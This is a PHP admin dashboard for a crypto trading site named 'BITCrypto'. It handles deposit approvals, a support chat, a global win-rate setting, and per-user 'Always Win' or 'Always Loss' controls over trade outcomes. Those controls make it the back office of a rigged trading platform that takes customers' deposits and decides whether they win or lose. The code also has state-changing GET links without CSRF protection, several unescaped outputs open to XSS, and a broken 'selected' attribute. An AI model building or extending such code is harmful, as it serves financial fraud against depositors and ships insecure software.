<?php
require_once '../includes/header.php';

// Simple admin check
if (!$user || !$user['is_admin']) {
    die('Unauthorized');
}

$msg = '';

// Handle Deposit Approval
if (isset($_GET['action']) && isset($_GET['id'])) {
    $id = $_GET['id'];
    if ($_GET['action'] === 'approve') {
        $stmt = db()->prepare("SELECT * FROM deposits WHERE id = ?");
        $stmt->execute([$id]);
        $dep = $stmt->fetch();
        if ($dep && $dep['status'] === 'pending') {
            db()->beginTransaction();
            $stmt = db()->prepare("UPDATE deposits SET status = 'approved' WHERE id = ?");
            $stmt->execute([$id]);
            
            // Add balance to user
            $stmt = db()->prepare("UPDATE users SET balance_usdt = balance_usdt + ? WHERE id = ?");
            $stmt->execute([$dep['amount'], $dep['user_id']]);
            db()->commit();
            $msg = "Deposit approved and balance added.";
        }
    } elseif ($_GET['action'] === 'reject') {
        $stmt = db()->prepare("UPDATE deposits SET status = 'rejected' WHERE id = ?");
        $stmt->execute([$id]);
        $msg = "Deposit rejected.";
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['update_config'])) {
        foreach ($_POST['config'] as $key => $value) {
            $stmt = db()->prepare("INSERT INTO system_config (config_key, config_value) VALUES (?, ?) ON DUPLICATE KEY UPDATE config_value = ?");
            $stmt->execute([$key, $value, $value]);
        }
        $msg = 'Configuration updated.';
    }
    
    if (isset($_POST['update_user'])) {
        $target_user_id = $_POST['user_id'];
        $win_loss = $_POST['win_loss'];
        $stmt = db()->prepare("UPDATE users SET win_loss_control = ? WHERE id = ?");
        $stmt->execute([$win_loss, $target_user_id]);
        $msg = 'User control updated.';
    }

    if (isset($_POST['send_reply'])) {
        $user_id = $_POST['user_id'];
        $reply = $_POST['message'];
        $stmt = db()->prepare("INSERT INTO chat_messages (user_id, admin_id, message) VALUES (?, ?, ?)");
        $stmt->execute([$user_id, $user['id'], $reply]);
        $msg = 'Reply sent.';
    }
}

// Fetch pending deposits
$stmt = db()->query("SELECT d.*, u.username, u.uid FROM deposits d JOIN users u ON d.user_id = u.id WHERE d.status = 'pending' ORDER BY d.created_at DESC");
$pending_deposits = $stmt->fetchAll();

// Fetch all users
$stmt = db()->query("SELECT * FROM users ORDER BY created_at DESC");
$all_users = $stmt->fetchAll();

// Fetch latest chat messages (group by user)
$stmt = db()->query("SELECT m.*, u.username, u.uid FROM chat_messages m JOIN users u ON m.user_id = u.id ORDER BY m.created_at DESC LIMIT 50");
$chats = $stmt->fetchAll();
?>

<div class="container my-5">
    <div class="d-flex justify-content-between align-items-center mb-5">
        <h1 class="fw-bold m-0">Admin Dashboard</h1>
        <span class="badge bg-danger rounded-pill px-3 py-2" id="notif-badge" style="display:none;">New Notifications</span>
    </div>
    
    <?php if ($msg): ?>
        <div class="alert alert-success alert-dismissible fade show">
            <?php echo $msg; ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
        </div>
    <?php endif; ?>

    <div class="row g-4">
        <!-- Pending Deposits -->
        <div class="col-12">
            <div class="card bg-dark border-secondary p-4 shadow">
                <h4 class="mb-4 text-warning"><i class="fas fa-money-bill-wave me-2"></i> Pending Deposits</h4>
                <div class="table-responsive">
                    <table class="table table-dark table-hover align-middle">
                        <thead>
                            <tr>
                                <th>UID</th>
                                <th>User</th>
                                <th>Amount</th>
                                <th>Receipt</th>
                                <th>Time</th>
                                <th>Action</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($pending_deposits as $d): ?>
                                <tr>
                                    <td><?php echo str_pad($d['uid'] ?? '0', 6, '0', STR_PAD_LEFT); ?></td>
                                    <td><?php echo htmlspecialchars($d['username']); ?></td>
                                    <td class="fw-bold"><?php echo number_format($d['amount'], 2); ?> <?php echo $d['currency']; ?></td>
                                    <td>
                                        <a href="../<?php echo $d['receipt_url']; ?>" target="_blank" class="btn btn-sm btn-outline-info">View Proof</a>
                                    </td>
                                    <td class="small text-muted"><?php echo $d['created_at']; ?></td>
                                    <td>
                                        <a href="?action=approve&id=<?php echo $d['id']; ?>" class="btn btn-sm btn-success px-3">Approve</a>
                                        <a href="?action=reject&id=<?php echo $d['id']; ?>" class="btn btn-sm btn-danger px-3">Reject</a>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                            <?php if (empty($pending_deposits)): ?>
                                <tr><td colspan="6" class="text-center text-muted py-4">No pending deposits.</td></tr>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>

        <!-- Customer Service Chat -->
        <div class="col-lg-8">
            <div class="card bg-dark border-secondary p-4 h-100 shadow">
                <h4 class="mb-4 text-primary"><i class="fas fa-headset me-2"></i> Customer Service</h4>
                <div class="chat-box overflow-auto mb-4 p-3 rounded bg-black bg-opacity-25" style="height: 400px;" id="admin-chat-box">
                    <?php foreach ($chats as $c): ?>
                        <div class="mb-3 <?php echo $c['admin_id'] ? 'text-end' : ''; ?>">
                            <div class="small text-muted mb-1">
                                <?php echo $c['admin_id'] ? 'Admin' : htmlspecialchars($c['username']) . " (UID: " . str_pad($c['uid'], 6, '0', STR_PAD_LEFT) . ")"; ?>
                                <span class="ms-2"><?php echo $c['created_at']; ?></span>
                            </div>
                            <div class="d-inline-block p-2 rounded-3 <?php echo $c['admin_id'] ? 'bg-primary text-white' : 'bg-secondary text-white'; ?>" style="max-width: 80% text-wrap: wrap;">
                                <?php echo nl2br(htmlspecialchars($c['message'])); ?>
                                <?php if ($c['attachment_url']): ?>
                                    <div class="mt-2">
                                        <a href="../<?php echo $c['attachment_url']; ?>" target="_blank" class="text-white small text-decoration-underline">View Attachment</a>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </div>
                    <?php endforeach; ?>
                </div>
                <form method="POST" class="d-flex gap-2">
                    <input type="hidden" name="send_reply" value="1">
                    <select name="user_id" class="form-select bg-dark text-white border-secondary w-25" required>
                        <option value="">Select User</option>
                        <?php 
                        $unique_users = [];
                        foreach($chats as $c) {
                            if (!$c['admin_id']) $unique_users[$c['user_id']] = $c['username'];
                        }
                        foreach($unique_users as $uid => $uname) echo "<option value='$uid'>$uname</option>";
                        ?>
                    </select>
                    <input type="text" name="message" class="form-control bg-dark text-white border-secondary" placeholder="Type your reply..." required>
                    <button type="submit" class="btn btn-primary">Send</button>
                </form>
            </div>
        </div>

        <!-- Global Settings -->
        <div class="col-lg-4">
            <div class="card bg-dark border-secondary p-4 h-100 shadow">
                <h4 class="mb-4">Global Settings</h4>
                <form method="POST">
                    <input type="hidden" name="update_config" value="1">
                    <div class="mb-3">
                        <label class="form-label">Site Name</label>
                        <input type="text" name="config[site_name]" class="form-control bg-dark text-white border-secondary" value="<?php echo $current_config['site_name'] ?? 'BITCrypto'; ?>">
                    </div>
                    <div class="mb-3">
                        <label class="form-label">Global Win Rate (%)</label>
                        <input type="number" name="config[win_loss_rate]" class="form-control bg-dark text-white border-secondary" value="<?php echo $current_config['win_loss_rate'] ?? '50'; ?>">
                    </div>
                    <button type="submit" class="btn btn-primary w-100">Save Global Config</button>
                </form>
            </div>
        </div>

        <!-- User Management -->
        <div class="col-12">
            <div class="card bg-dark border-secondary p-4 shadow">
                <h4 class="mb-4">User Controls (Win/Loss)</h4>
                <div class="table-responsive">
                    <table class="table table-dark table-hover">
                        <thead>
                            <tr>
                                <th>UID</th>
                                <th>Username</th>
                                <th>Balance (USDT)</th>
                                <th>Control Mode</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($all_users as $u): ?>
                                <tr>
                                    <td><?php echo str_pad($u['uid'] ?? '0', 6, '0', STR_PAD_LEFT); ?></td>
                                    <td><?php echo htmlspecialchars($u['username']); ?></td>
                                    <td class="fw-bold">$<?php echo number_format($u['balance_usdt'], 2); ?></td>
                                    <td>
                                        <form method="POST" class="d-flex gap-2">
                                            <input type="hidden" name="update_user" value="1">
                                            <input type="hidden" name="user_id" value="<?php echo $u['id']; ?>">
                                            <select name="win_loss" class="form-select form-select-sm bg-dark text-white border-secondary" style="width: 150px;">
                                                <option value="random" <?php echo $u['win_loss_control'] === 'random' ? 'selected' : ''; ?>>Random</option>
                                                <option value="always_win" <?php echo $u['win_loss_control'] === 'always_win' ? 'selected' : ''; ?>>Always Win</option>
                                                <option value="always_loss" <?php echo $u['win_loss_control'] === 'always_loss' ? 'always_loss' : ''; ?>>Always Loss</option>
                                            </select>
                                            <button type="submit" class="btn btn-sm btn-outline-primary">Update</button>
                                        </form>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
// Auto-scroll chat to bottom
const chatBox = document.getElementById('admin-chat-box');
chatBox.scrollTop = chatBox.scrollHeight;

// Simulated Notification Polling
setInterval(async () => {
    try {
        const resp = await fetch('api_notif.php');
        const data = await resp.json();
        if (data.new_count > 0) {
            document.getElementById('notif-badge').style.display = 'inline-block';
            document.getElementById('notif-badge').innerText = data.new_count + ' New Updates';
            // Play sound if needed
            // new Audio('assets/ping.mp3').play();
        }
    } catch (e) {}
}, 5000);
</script>

<?php require_once '../includes/footer.php'; ?>